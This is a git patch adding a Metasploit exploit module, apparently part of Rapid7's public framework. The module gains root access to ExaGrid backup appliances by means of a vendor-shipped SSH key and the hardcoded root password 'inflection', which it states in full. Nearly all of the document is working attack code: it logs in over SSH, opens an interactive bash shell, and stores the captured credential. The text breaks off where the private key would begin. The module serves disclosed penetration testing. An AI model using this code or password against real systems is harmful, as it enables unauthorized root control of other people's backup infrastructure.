From 87d59a9bfb8ff8b45e4106f2ff545e786342c812 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Apr 2016 04:17:43 -0500 Subject: [PATCH] Add exploit for ExaGrid known credentials --- .../linux/ssh/exagrid_known_privkey.rb | 184 ++++++++++++++++++ 1 file changed, 184 insertions(+) create mode 100644 modules/exploits/linux/ssh/exagrid_known_privkey.rb diff --git a/modules/exploits/linux/ssh/exagrid_known_privkey.rb b/modules/exploits/linux/ssh/exagrid_known_privkey.rb new file mode 100644 index 0000000000..a58c8a7224 --- /dev/null +++ b/modules/exploits/linux/ssh/exagrid_known_privkey.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' +#load 'lib/msf/core/handler/find_port.rb' +#load 'lib/msf/core/handler.rb' +#load 'lib/msf/core/exploit.rb' + + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, { + 'Name' => 'ExaGrid Known SSH Key and Default Password', + 'Description' => %q{ + ExaGrid ships a public/private key pair on their backup appliances + that allows passwordless authentication to other ExaGrid appliances. + Since the private key is easily retrievable, an attacker can use it to + gain unauthorized remote access as root. Additionally, this module + will also attempt to use the default password for root, 'inflection'. + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [ [ "Universal", {} ] ], + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'Author' => ['egypt'], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ] + ], + 'DisclosureDate' => "Apr 07 2016", + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'DefaultTarget' => 0 + })) + + register_options( + [ + # Since we don't include Tcp, we have to register this manually + Opt::RHOST(), + Opt::RPORT(22) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + + end + + # helper methods that normally come from Tcp + def rhost + datastore['RHOST'] + end + def rport + datastore['RPORT'] + end + + def do_login(user) + ssh_options = { + auth_methods: ['publickey', 'password'], + config: false, + disable_agent: true, + key_data: [ key_data ], + msfmodule: self, + msframework: framework, + password: 'inflection', + port: rport, + proxies: datastore['Proxies'], + record_auth_info: true, + } + ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG'] + + begin + ssh_socket = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh_socket = Net::SSH.start(rhost, user, ssh_options) + end + rescue Rex::ConnectionError + return + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication" + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return + end + + if ssh_socket + + # Create a new session from the socket, then dump it. + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true) + ssh_socket = nil + + return conn + else + return false + end + end + + # Ghetto hack to prevent the shell detection logic from hitting false + # negatives due to weirdness with ssh sockets. We already know it's a shell + # because auth succeeded by this point, so no need to do the check anyway. + module TrustMeItsAShell + def _check_shell(*args) + true + end + end + + def exploit + payload_instance.extend(TrustMeItsAShell) + + conn = do_login("root") + if conn + print_good "Successful login" + service_data = { + address: rhost, + port: rport, + protocol: 'tcp', + service_name: 'ssh', + workspace_id: myworkspace_id, + } + credential_data = { + username: 'root', + private_type: (conn.ssh.auth_info[:method] == "publickey" ? :ssh_key : :password), + private_data: (conn.ssh.auth_info[:method] == "publickey" ? key_data : 'inflection'), + origin_type: :service, + module_fullname: fullname, + }.merge(service_data) + + core = create_credential(credential_data) + login_data = { + core: core, + last_attempted: Time.now, + }.merge(service_data) + + create_credential_login(login_data) + + handler(conn.lsock) + end + end + + def key_data + <